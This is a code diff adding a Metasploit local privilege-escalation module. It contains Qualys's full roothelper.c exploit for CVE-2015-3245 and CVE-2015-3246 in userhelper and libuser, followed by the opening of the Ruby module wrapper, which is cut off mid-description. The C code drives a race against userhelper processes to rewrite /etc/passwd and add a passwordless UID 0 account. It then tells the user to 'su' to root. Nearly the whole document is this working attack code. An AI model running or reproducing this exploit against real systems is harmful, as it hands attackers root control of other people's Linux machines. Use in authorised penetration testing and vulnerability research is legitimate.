Add Libuser roothelper Privilege Escalation exploit

data/exploits/roothelper/roothelper.c

@@ -0,0 +1,976 @@
+/*
+ * roothelper.c - an unusual local root exploit against:
+ * CVE-2015-3245 userhelper chfn() newline filtering
+ * CVE-2015-3246 libuser passwd file handling
+ * Copyright (C) 2015 Qualys, Inc.
+ *
+ * gecos_* types and functions inspired by userhelper.c
+ * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
+ *
+ * UH_* #defines and comments inspired by userhelper.h
+ * Copyright (C) 1997-2001, 2007 Red Hat, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+// Modified for Metasploit (see comments marked 'msf note')
+ 
+#define _GNU_SOURCE
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <limits.h>
+#include <pwd.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/inotify.h>
+#include <sys/resource.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+ 
+/* A maximum GECOS field length.  There's no hard limit, so we guess. */
+#define GECOS_LENGTH                    127
+ 
+typedef char gecos_field[GECOS_LENGTH];
+ 
+/* A structure to hold broken-out GECOS data.  The number and names of the
+ * fields are dictated entirely by the flavor of finger we use.  Seriously. */
+struct gecos_data {
+    gecos_field full_name;      /* full user name */
+    gecos_field office;         /* office */
+    gecos_field office_phone;   /* office phone */
+    gecos_field home_phone;     /* home phone */
+    gecos_field site_info;      /* other stuff */
+};
+ 
+static struct userhelper {
+    struct gecos_data gecos;
+    rlim_t fsizelim;
+    pid_t pid;
+    int fd;
+} userhelpers[GECOS_LENGTH];
+ 
+static void
+die_in_parent(const char *const file, const unsigned int line,
+              const char *const function)
+{
+    fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
+    fflush(stderr);
+ 
+    unsigned int i;
+    for (i = 0; i < GECOS_LENGTH; i++) {
+        const pid_t pid = userhelpers[i].pid;
+        if (pid <= 0) continue;
+        kill(pid, SIGKILL);
+    }
+    _exit(EXIT_FAILURE);
+}
+ 
+static void
+die_in_child(const char *const file, const unsigned int line,
+             const char *const function)
+{
+    fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
+    exit(EXIT_FAILURE);
+}
+ 
+static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
+#define die() die_fn(__FILE__, __LINE__, __func__)
+ 
+static void *
+xmalloc(const size_t size)
+{
+    if (size <= 0) die();
+    if (size >= INT_MAX) die();
+    void *const ptr = malloc(size);
+    if (ptr == NULL) die();
+    return ptr;
+}
+ 
+static void *
+xrealloc(void *const old, const size_t size)
+{
+    if (size <= 0) die();
+    if (size >= INT_MAX) die();
+    void *const new = realloc(old, size);
+    if (new == NULL) die();
+    return new;
+}
+ 
+static char *
+xstrndup(const char *const old, const size_t len)
+{
+    if (old == NULL) die();
+    if (len >= INT_MAX) die();
+ 
+    char *const new = strndup(old, len);
+ 
+    if (new == NULL) die();
+    if (len != strlen(new)) die();
+    return new;
+}
+ 
+static int
+xsnprintf(char *const str, const size_t size, const char *const format, ...)
+{
+    if (str == NULL) die();
+    if (size <= 0) die();
+    if (size >= INT_MAX) die();
+    if (format == NULL) die();
+ 
+    va_list ap;
+    va_start(ap, format);
+    const int len = vsnprintf(str, size, format, ap);
+    va_end(ap);
+ 
+    if (len < 0) die();
+    if ((unsigned int)len >= size) die();
+    if ((unsigned int)len != strlen(str)) die();
+    return len;
+}
+ 
+static int
+xopen(const char *const pathname, const int flags)
+{
+    if (pathname == NULL) die();
+    if (*pathname != '/') die();
+    if (flags != O_RDONLY) die();
+ 
+    const int fd = open(pathname, flags);
+    if (fd <= -1) die();
+ 
+    static const struct flock rdlock = {
+        .l_type = F_RDLCK,
+        .l_whence = SEEK_SET,
+        .l_start = 0,
+        .l_len = 0
+    };
+    if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
+    return fd;
+}
+ 
+static void
+xclose(const int fd)
+{
+    if (fd <= -1) die();
+    static const struct flock unlock = {
+        .l_type = F_UNLCK,
+        .l_whence = SEEK_SET,
+        .l_start = 0,
+        .l_len = 0
+    };
+    if (fcntl(fd, F_SETLK, &unlock) != 0) die();
+    if (close(fd) != 0) die();
+}
+ 
+#define GECOS_BADCHARS ":,=\n"
+ 
+/* A simple function to compute the size of a gecos string containing the
+ * data we have. */
+static size_t
+gecos_size(const struct gecos_data *const parsed)
+{
+    if (parsed == NULL) die();
+ 
+    size_t len = 4; /* commas! */
+    len += strlen(parsed->full_name);
+    len += strlen(parsed->office);
+    len += strlen(parsed->office_phone);
+    len += strlen(parsed->home_phone);
+    len += strlen(parsed->site_info);
+    len++;
+    return len;
+}
+ 
+/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
+   Note that the parsing is performed using the convention obeyed by BSDish
+   finger(1) under Linux. */
+static void
+gecos_parse(const char *const gecos, struct gecos_data *const parsed)
+{
+    if (gecos == NULL) die();
+    if (strlen(gecos) >= INT_MAX) die();
+ 
+    if (parsed == NULL) die();
+    memset(parsed, 0, sizeof(*parsed));
+ 
+    unsigned int i;
+    const char *field = gecos;
+ 
+    for (i = 0; ; i++) {
+        const char *field_end = strchrnul(field, ',');
+        gecos_field *dest = NULL;
+ 
+        switch (i) {
+        case 0:
+            dest = &parsed->full_name;
+            break;
+        case 1:
+            dest = &parsed->office;
+            break;
+        case 2:
+            dest = &parsed->office_phone;
+            break;
+        case 3:
+            dest = &parsed->home_phone;
+            break;
+        case 4:
+            // msf note: changed `rawmemchar` to `memchr` for cross-compile
+            //field_end = rawmemchr(field_end, '\0');
+            field_end = memchr(field_end, '\0', 16);
+            dest = &parsed->site_info;
+            break;
+        default:
+            die();
+        }
+        const size_t field_len = field_end - field;
+        xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
+        if (strlen(*dest) != field_len) die();
+ 
+        if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
+ 
+        if (*field_end == '\0') break;
+        field = field_end + 1;
+    }
+    if (gecos_size(parsed) > GECOS_LENGTH) die();
+}
+ 
+/* Assemble a new gecos string. */
+static const char *
+gecos_assemble(const struct gecos_data *const parsed)
+{
+    static char ret[GECOS_LENGTH];
+    size_t i;
+ 
+    if (parsed == NULL) die();
+    /* Construct the basic version of the string. */
+    xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
+                                parsed->full_name,
+                                parsed->office,
+                                parsed->office_phone,
+                                parsed->home_phone,
+                                parsed->site_info);
+    /* Strip off terminal commas. */
+    i = strlen(ret);
+    while ((i > 0) && (ret[i - 1] == ',')) {
+        ret[i - 1] = '\0';
+        i--;
+    }
+    return ret;
+}
+ 
+/* Descriptors used to communicate between userhelper and consolhelper. */
+#define UH_INFILENO 3
+#define UH_OUTFILENO 4
+ 
+/* Userhelper request format:
+   request code as a single character,
+   request data size as UH_REQUEST_SIZE_DIGITS decimal digits
+   request data
+   '\n' */
+#define UH_REQUEST_SIZE_DIGITS 8
+ 
+/* Synchronization point code. */
+#define UH_SYNC_POINT 32
+ 
+/* Valid userhelper request codes. */
+#define UH_ECHO_ON_PROMPT 34
+#define UH_ECHO_OFF_PROMPT 35
+#define UH_EXPECT_RESP 39
+#define UH_SERVICE_NAME 40
+#define UH_USER 42
+ 
+/* Consolehelper response format:
+   response code as a single character,
+   response data
+   '\n' */
+ 
+/* Consolehelper response codes. */
+#define UH_TEXT 33
+ 
+/* Valid userhelper error codes. */
+#define ERR_UNK_ERROR           255     /* unknown error */
+ 
+/* Paths, flag names, and other stuff. */
+#define UH_PATH "/usr/sbin/userhelper"
+#define UH_FULLNAME_OPT "-f"
+#define UH_OFFICE_OPT "-o"
+#define UH_OFFICEPHONE_OPT "-p"
+#define UH_HOMEPHONE_OPT "-h"
+ 
+static char
+read_request(const int fd, char *const data, const size_t size)
+{
+    if (fd <= -1) die();
+    if (data == NULL) die();
+    if (size >= INT_MAX) die();
+ 
+    char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
+    if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
+    header[sizeof(header)-1] = '\0';
+ 
+    errno = 0;
+    char *endptr = NULL;
+    const unsigned long len = strtoul(&header[1], &endptr, 10);
+    if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
+ 
+    if (len >= size) die();
+    if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
+    if (data[len] != '\n') die();
+    data[len] = '\0';
+ 
+    if (strlen(data) != len) die();
+    if (strchr(data, '\n') != NULL) die();
+    return header[0];
+}
+ 
+static void
+send_reply(const int fd, const unsigned char type, const char *const data)
+{
+    if (fd <= -1) die();
+    if (!isascii(type)) die();
+    if (!isprint(type)) die();
+    if (data == NULL) die();
+    if (strpbrk(data, "\r\n") != NULL) die();
+ 
+    char buf[BUFSIZ];
+    const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
+    if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
+}
+ 
+#define ETCDIR "/etc"
+#define PASSWD "/etc/passwd"
+#define BACKUP "/etc/passwd-"
+ 
+static struct {
+    char username[64];
+    char password[64];
+    struct gecos_data gecos;
+} my;
+ 
+static volatile sig_atomic_t is_child_dead;
+ 
+static void
+sigchild_handler(const int signum __attribute__ ((__unused__)))
+{
+    is_child_dead = true;
+}
+ 
+static int
+wait_for_userhelper(struct userhelper *const uh, const int options)
+{
+    if (uh == NULL) die();
+    if (uh->pid <= 0) die();
+    if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
+ 
+    int status;
+    for (;;) {
+        const pid_t pid = waitpid(uh->pid, &status, options);
+        if (pid == uh->pid) break;
+        if (pid > 0) _exit(255);
+ 
+        if (pid != -1) die();
+        if (errno != EINTR) die();
+    }
+    if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
+    return status;
+}
+ 
+static void
+forkstop_userhelper(struct userhelper *const uh)
+{
+    if (uh == NULL) die();
+    if (uh->pid != 0) die();
+    if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
+ 
+    struct rlimit fsize;
+    if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
+    if (uh->fsizelim > fsize.rlim_max) die();
+    if (uh->fsizelim <= 0) die();
+    fsize.rlim_cur = uh->fsizelim;
+ 
+    cpu_set_t old_cpus;
+    CPU_ZERO(&old_cpus);
+    if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
+ 
+    { const int cpu = sched_getcpu();
+    if (cpu >= CPU_SETSIZE) die();
+    if (cpu < 0) die();
+    cpu_set_t new_cpus;
+    CPU_ZERO(&new_cpus);
+    CPU_SET(cpu, &new_cpus);
+    if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
+ 
+    int sv[2];
+    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
+ 
+    if (is_child_dead) die();
+    static const struct sigaction sigchild_action = {
+        .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
+    if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
+ 
+    uh->pid = fork();
+    if (uh->pid <= -1) die();
+ 
+    if (uh->pid == 0) {
+        die_fn = die_in_child;
+        if (close(sv[1]) != 0) die();
+        if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
+        if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
+ 
+        const int devnull_fd = open("/dev/null", O_RDWR);
+        if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
+        if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
+        if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
+ 
+        if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
+        if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
+        if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
+ 
+        if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
+        static const struct sched_param sched_param = { .sched_priority = 0 };
+        (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
+ 
+        char *const argv[] = { UH_PATH,
+                               UH_FULLNAME_OPT,    uh->gecos.full_name,
+                               UH_OFFICE_OPT,      uh->gecos.office,
+                               UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
+                               UH_HOMEPHONE_OPT,   uh->gecos.home_phone,
+                               NULL };
+        char *const envp[] = { NULL };
+        execve(UH_PATH, argv, envp);
+        die();
+    }
+    if (die_fn != die_in_parent) die();
+    if (close(sv[0]) != 0) die();
+    uh->fd = sv[1];
+ 
+    unsigned long expected_responses = 0;
+    for (;;) {
+        char data[BUFSIZ];
+        const char type = read_request(uh->fd, data, sizeof(data));
+        if (type == UH_SYNC_POINT) break;
+ 
+        switch (type) {
+        case UH_USER:
+            if (strcmp(data, my.username) != 0) die();
+            break;
+        case UH_SERVICE_NAME:
+            if (strcmp(data, "chfn") != 0) die();
+            break;
+        case UH_ECHO_ON_PROMPT:
+        case UH_ECHO_OFF_PROMPT:
+            if (++expected_responses == 0) die();
+            break;
+        case UH_EXPECT_RESP:
+            if (strtoul(data, NULL, 10) != expected_responses) die();
+            break;
+        default:
+            break;
+        }
+    }
+    if (expected_responses != 1) die();
+ 
+    const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
+    const int inotify_fd = inotify_init();
+    if (inotify_fd <= -1) die();
+    if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
+          IN_OPEN) <= -1) die();
+    if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
+        if (errno != ENOENT) die();
+        if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
+    }
+ 
+    send_reply(uh->fd, UH_TEXT, my.password);
+    send_reply(uh->fd, UH_SYNC_POINT, "");
+    if (close(uh->fd) != 0) die();
+    uh->fd = -1;
+ 
+    unsigned int state = 0;
+    static const uint32_t transition[] = { IN_CLOSE_WRITE,
+                                           IN_CLOSE_NOWRITE, IN_OPEN, 0 };
+    for (;;) {
+        if (is_child_dead) die();
+        char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
+        const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
+        if (is_child_dead) die();
+ 
+        if (_buflen <= 0) die();
+        size_t buflen = _buflen;
+        if (buflen > sizeof(buffer)) die();
+ 
+        struct inotify_event *ep;
+        for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
+             ep = (struct inotify_event *)(ep->name + ep->len)) {
+            buflen -= sizeof(*ep);
+ 
+            if (ep->len > 0) {
+                if (buflen < ep->len) die();
+                buflen -= ep->len;
+                if ((ep->mask & IN_CREATE) == 0) die();
+                (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
+                continue;
+            }
+            if (ep->len != 0) die();
+            while ((ep->mask & transition[state]) != 0) {
+                ep->mask &= ~transition[state++];
+                if (transition[state] == 0) goto stop_userhelper;
+            }
+        }
+        if (buflen != 0) die();
+    }
+    stop_userhelper:
+    if (kill(uh->pid, SIGSTOP) != 0) die();
+    if (close(inotify_fd) != 0) die();
+ 
+    const int status = wait_for_userhelper(uh, WUNTRACED);
+    if (!WIFSTOPPED(status)) die();
+    if (WSTOPSIG(status) != SIGSTOP) die();
+ 
+    xclose(lpasswd_fd);
+    if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
+    if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
+}
+ 
+static void
+continue_userhelper(struct userhelper *const uh)
+{
+    if (uh == NULL) die();
+    if (uh->fd != -1) die();
+    if (uh->pid <= 0) die();
+ 
+    if (kill(uh->pid, SIGCONT) != 0) die();
+ 
+    { const int status = wait_for_userhelper(uh, WCONTINUED);
+    if (!WIFCONTINUED(status)) die(); }
+ 
+    { const int status = wait_for_userhelper(uh, 0);
+    if (!WIFEXITED(status)) die();
+    if (WEXITSTATUS(status) !=
+          ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
+ 
+    memset(uh, 0, sizeof(*uh));
+}
+ 
+static void
+create_backup_of_passwd_file(void)
+{
+    char backup[] = "/tmp/passwd-XXXXXX";
+    const mode_t prev_umask = umask(077);
+    const int ofd = mkstemp(backup);
+    (void) umask(prev_umask);
+    if (ofd <= -1) die();
+ 
+    printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
+    const int ifd = xopen(PASSWD, O_RDONLY);
+    for (;;) {
+        char buf[BUFSIZ];
+        const ssize_t len = read(ifd, buf, sizeof(buf));
+        if (len == 0) break;
+        if (len <= 0) die();
+        if (write(ofd, buf, len) != len) die();
+    }
+    xclose(ifd);
+    if (close(ofd) != 0) die();
+}
+ 
+static void
+delete_lines_from_passwd_file(void)
+{
+    struct gecos_data gecos;
+    memset(&gecos, 0, sizeof(gecos));
+    xsnprintf(gecos.site_info, sizeof(gecos.site_info),
+                             "%s", my.gecos.site_info);
+    const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
+    if (fullname_max >= GECOS_LENGTH) die();
+    if (fullname_max <= 0) die();
+ 
+    char fragment[64];
+    xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
+ 
+    char *contents = NULL;
+    for (;;) {
+        struct stat st;
+        const int fd = xopen(PASSWD, O_RDONLY);
+        if (fstat(fd, &st) != 0) die();
+        if (st.st_size >= INT_MAX) die();
+        if (st.st_size <= 0) die();
+ 
+        contents = xrealloc(contents, st.st_size + 1);
+        if (read(fd, contents, st.st_size) != st.st_size) die();
+        contents[st.st_size] = '\0';
+        xclose(fd);
+ 
+        const char *cp = strstr(contents, fragment);
+        if (cp == NULL) die();
+        cp = strchr(cp + 2, '\n');
+        if (cp == NULL) die();
+        if (cp[1] == '\0') break;
+ 
+        char *const tp = contents + st.st_size-1;
+        *tp = '\0';
+        if (tp <= cp) die();
+        if (tp - cp > fullname_max) cp = tp - fullname_max;
+        cp = strpbrk(cp, "\n:, ");
+        if (cp == NULL) die();
+ 
+        const ssize_t fullname_len = tp - cp;
+        if (fullname_len >= GECOS_LENGTH) die();
+        if (fullname_len <= 0) die();
+ 
+        printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
+ 
+        struct userhelper *const uh = &userhelpers[0];
+        memset(uh->gecos.full_name, 'A', fullname_len);
+        uh->fsizelim = st.st_size;
+        forkstop_userhelper(uh);
+        continue_userhelper(uh);
+ 
+        uh->fsizelim = RLIM_INFINITY;
+        forkstop_userhelper(uh);
+        continue_userhelper(uh);
+    }
+    free(contents);
+}
+ 
+static size_t passwd_fsize;
+static int generate_userhelpers(const char *);
+#define IS_USER_LAST "last user in passwd file?"
+ 
+static char candidate_users[256];
+static char superuser_elect;
+ 
+int
+main(void)
+{
+    // msf note: don't backup /etc/passwd to /tmp
+    //create_backup_of_passwd_file();
+ 
+    { char candidate[] = "a";
+    for (; candidate[0] <= 'z'; candidate[0]++) {
+        if (getpwnam(candidate) != NULL) continue;
+        strcat(candidate_users, candidate);
+    } }
+    if (candidate_users[0] == '\0') die();
+ 
+    const struct passwd *const pwd = getpwuid(getuid());
+    if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
+    xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
+    gecos_parse(pwd->pw_gecos, &my.gecos);
+ 
+    if (fputs("Please enter your password:\n", stdout) == EOF) die();
+    if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
+    char *const newline = strchr(my.password, '\n');
+    if (newline == NULL) die();
+    *newline = '\0';
+ 
+    { struct userhelper *const uh = &userhelpers[0];
+    uh->fsizelim = RLIM_INFINITY;
+    forkstop_userhelper(uh);
+    continue_userhelper(uh); }
+ 
+    retry:
+    if (generate_userhelpers(IS_USER_LAST)) {
+        struct userhelper *const uh1 = &userhelpers[1];
+        strcpy(uh1->gecos.full_name, "\n");
+        uh1->fsizelim = passwd_fsize + 1;
+ 
+        struct userhelper *const uh0 = &userhelpers[0];
+        uh0->fsizelim = passwd_fsize;
+ 
+        forkstop_userhelper(uh1), forkstop_userhelper(uh0);
+        continue_userhelper(uh1), continue_userhelper(uh0);
+        if (generate_userhelpers(IS_USER_LAST)) die();
+    }
+
+    static const char a[] = "?::0:0::/:";
+    printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
+ 
+    const int n = generate_userhelpers(a);
+    if (n == -1) {
+        static int retries;
+        if (retries++) die();
+        memset(userhelpers, 0, sizeof(userhelpers));
+        delete_lines_from_passwd_file();
+        goto retry;
+    }
+    if (n <= 0) die();
+    if (n >= GECOS_LENGTH) die();
+    if (superuser_elect == '\0') die();
+ 
+    int i;
+    for (i = n; --i >= 0; ) {
+        printf("Starting and stopping userhelper #%d\n", i);
+        forkstop_userhelper(&userhelpers[i]);
+    }
+    for (i = n; --i >= 0; ) {
+        printf("Continuing stopped userhelper #%d\n", i);
+        continue_userhelper(&userhelpers[i]);
+    }
+    printf("Exploit successful, run \"su %c\" to become root\n",
+        (int)superuser_elect);
+ 
+    { struct userhelper *const uh = &userhelpers[0];
+    uh->fsizelim = RLIM_INFINITY;
+    uh->gecos = my.gecos;
+    forkstop_userhelper(uh);
+    continue_userhelper(uh); }
+ 
+    exit(EXIT_SUCCESS);
+}
+ 
+static void
+generate_fullname(char *const fullname, const ssize_t fullname_len,
+    const char c)
+{
+    if (fullname == NULL) die();
+    if (fullname_len < 0) die();
+    if (fullname_len >= GECOS_LENGTH) die();
+ 
+    memset(fullname, 'A', fullname_len);
+ 
+    if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
+        if (!isascii((unsigned char)c)) die();
+        if (!isgraph((unsigned char)c)) die();
+        fullname[fullname_len-1] = c;
+    }
+}
+ 
+static size_t siteinfo_len;
+static size_t fullname_off;
+ 
+static size_t before_fullname_len;
+static char * before_fullname;
+ 
+static size_t after_fullname_len;
+static char * after_fullname;
+ 
+static int
+generate_userhelper(const char *const a, const int i, char *const contents)
+{
+    if (i < 0) {
+        if (i != -1) die();
+        return 0;
+    }
+    if (a == NULL) die();
+    if ((unsigned int)i >= strlen(a)) die();
+    if (contents == NULL) die();
+ 
+    const char _c = a[i];
+    const bool is_user_wildcard = (_c == '?');
+    const char c = (is_user_wildcard ? candidate_users[0] : _c);
+    if (c == '\0') die();
+ 
+    const size_t target = passwd_fsize-1 + i;
+    const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
+    if (fsizelim < passwd_fsize) die();
+ 
+    const size_t contents_len = strlen(contents);
+    if (contents_len < passwd_fsize) die();
+    if (contents_len <= fullname_off) die();
+ 
+    char *const fullname = contents + fullname_off;
+    if (memcmp(fullname - before_fullname_len,
+         before_fullname, before_fullname_len) != 0) die();
+ 
+    const char *rest = strchr(fullname, '\n');
+    if (rest == NULL) die();
+    rest++;
+ 
+    const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
+    if (fullname_len >= GECOS_LENGTH) die();
+    if (fullname_len < 0) die();
+ 
+    if (rest[-1] != '\n') die();
+    generate_fullname(fullname, fullname_len, c);
+    memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
+    if (rest[-1] != '\n') die();
+ 
+    if (memcmp(rest - after_fullname_len,
+      after_fullname, after_fullname_len) != 0) die();
+ 
+    size_t offset;
+    for (offset = fullname_off; offset < contents_len; offset++) {
+ 
+        const char x = contents[offset];
+        if (x == '\0') die();
+        if (is_user_wildcard) {
+            if (strchr(candidate_users, x) == NULL) continue;
+            superuser_elect = x;
+        } else {
+            if (x != c) continue;
+        }
+ 
+        const ssize_t new_fullname_len = fullname_len + (target - offset);
+        if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
+        if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
+ 
+        if (offset < fullname_off + fullname_len) {
+            if (offset != fullname_off + fullname_len-1) die();
+            if (new_fullname_len == 0) continue;
+        }
+        if (offset >= contents_len-1) {
+            if (offset != contents_len-1) die();
+            if (fsizelim != RLIM_INFINITY) continue;
+        }
+ 
+        { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
+ 
+        memcpy(new_contents, contents, fullname_off);
+        generate_fullname(new_contents + fullname_off, new_fullname_len, c);
+        memcpy(new_contents + fullname_off + new_fullname_len,
+                   contents + fullname_off + fullname_len,
+                   contents_len+1 - (fullname_off + fullname_len));
+ 
+        if (strlen(new_contents) != contents_len +
+                (new_fullname_len - fullname_len)) die();
+ 
+        if (fsizelim != RLIM_INFINITY) {
+            if (fsizelim >= strlen(new_contents)) die();
+            if (fsizelim >= contents_len) die();
+            memcpy(new_contents + fsizelim,
+                       contents + fsizelim,
+                       contents_len+1 - fsizelim);
+        }
+ 
+        const int err = generate_userhelper(a, i-1, new_contents);
+        free(new_contents);
+        if (err < 0) continue; }
+ 
+        if (i >= GECOS_LENGTH) die();
+        struct userhelper *const uh = &userhelpers[i];
+        memset(uh, 0, sizeof(*uh));
+ 
+        uh->fsizelim = fsizelim;
+        if (new_fullname_len >= GECOS_LENGTH) die();
+        generate_fullname(uh->gecos.full_name, new_fullname_len, c);
+        return 0;
+    }
+    return -1;
+}
+ 
+static int
+generate_userhelpers(const char *const _a)
+{
+    char a[GECOS_LENGTH];
+    if (_a == NULL) die();
+    const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
+    if (n >= GECOS_LENGTH) die();
+    if (n <= 0) die();
+ 
+    const int fd = xopen(PASSWD, O_RDONLY);
+    struct stat st;
+    if (fstat(fd, &st) != 0) die();
+    if (st.st_size >= 10*1024*1024) die();
+    if (st.st_size <= 0) die();
+    passwd_fsize = st.st_size;
+ 
+    char *const contents = xmalloc(passwd_fsize + 1);
+    if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
+    xclose(fd);
+    contents[passwd_fsize] = '\0';
+    if (strlen(contents) != passwd_fsize) die();
+    if (contents[passwd_fsize-1] != '\n') die();
+ 
+    char fragment[64];
+    xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
+    const char *line = strstr(contents, fragment);
+    if (line == NULL) die();
+    line++;
+ 
+    const char *rest = strchr(line, '\n');
+    if (rest == NULL) die();
+    if (rest <= line) die();
+    rest++;
+ 
+    if (strcmp(_a, IS_USER_LAST) == 0) {
+        const bool is_user_last = (*rest == '\0');
+        free(contents);
+        return is_user_last;
+    }
+ 
+    unsigned int i;
+    const char *field = line;
+ 
+    for (i = 0; i <= 5; i++) {
+        const char *const field_end = strchr(field, ':');
+        if (field_end == NULL) die();
+        if (field_end >= rest) die();
+        const size_t field_len = field_end - field;
+ 
+        switch (i) {
+        case 0:
+            if (field_len != strlen(my.username)) die();
+            if (memcmp(field, my.username, field_len) != 0) die();
+            break;
+        case 1:
+            if (*field != 'x') die();
+            break;
+        case 2:
+            if (strtoimax(field, NULL, 10) != getuid()) die();
+            break;
+        case 3:
+            if (strtoimax(field, NULL, 10) != getgid()) die();
+            break;
+        case 4:
+            {
+                char assembled[GECOS_LENGTH];
+                xsnprintf(assembled, sizeof(assembled),
+                            "%.*s", (int)field_len, field);
+                if (strlen(assembled) != field_len) die();
+ 
+                struct gecos_data gecos;
+                memset(&gecos, 0, sizeof(gecos));
+                xsnprintf(gecos.site_info, sizeof(gecos.site_info),
+                                         "%s", my.gecos.site_info);
+                if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
+            }
+ 
+            siteinfo_len = strlen(my.gecos.site_info);
+            fullname_off = field - contents;
+ 
+            before_fullname_len = field - line;
+            before_fullname = xstrndup(line, before_fullname_len);
+ 
+            after_fullname_len = rest - field;
+            after_fullname = xstrndup(field, after_fullname_len);
+            break;
+ 
+        case 5:
+            if (*field != '/') die();
+            break;
+        default:
+            die();
+        }
+        field = field_end + 1;
+    }
+ 
+    const int err = generate_userhelper(a, n-1, contents);
+ 
+    free(before_fullname), before_fullname = NULL;
+    free(after_fullname), after_fullname = NULL;
+    free(contents);
+ 
+    return (err < 0) ? -1 : n;
+}

modules/exploits/linux/local/libuser_roothelper_priv_esc.rb

@@ -0,0 +1,274 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = GreatRanking
+
+  include Msf::Post::File
+  include Msf::Post::Linux::Priv
+  include Msf::Post::Linux::System
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Libuser roothelper Privilege Escalation',
+      'Description'    => %q{
+        This module attempts to gain root privileges on Red Hat based Linux
+        systems, including RHEL, Fedora and CentOS, by exploiting a newline
+        injection vulnerability in libuser and userhelper versions prior to
+        0.56.13-8 and version 0.60 before 0.60-7.
+
+        This module makes use of the roothelper.c exploit from Qualys to
+        insert a new user with UID=0 in /etc/passwd.
+
+        Note, the password for the current user is required by userhelper.
+
+        Note, on some systems, such as Fedora 11, the user entry for the
+        current user in /etc/passwd will become corrupted and exploitation
+        will fail.
+
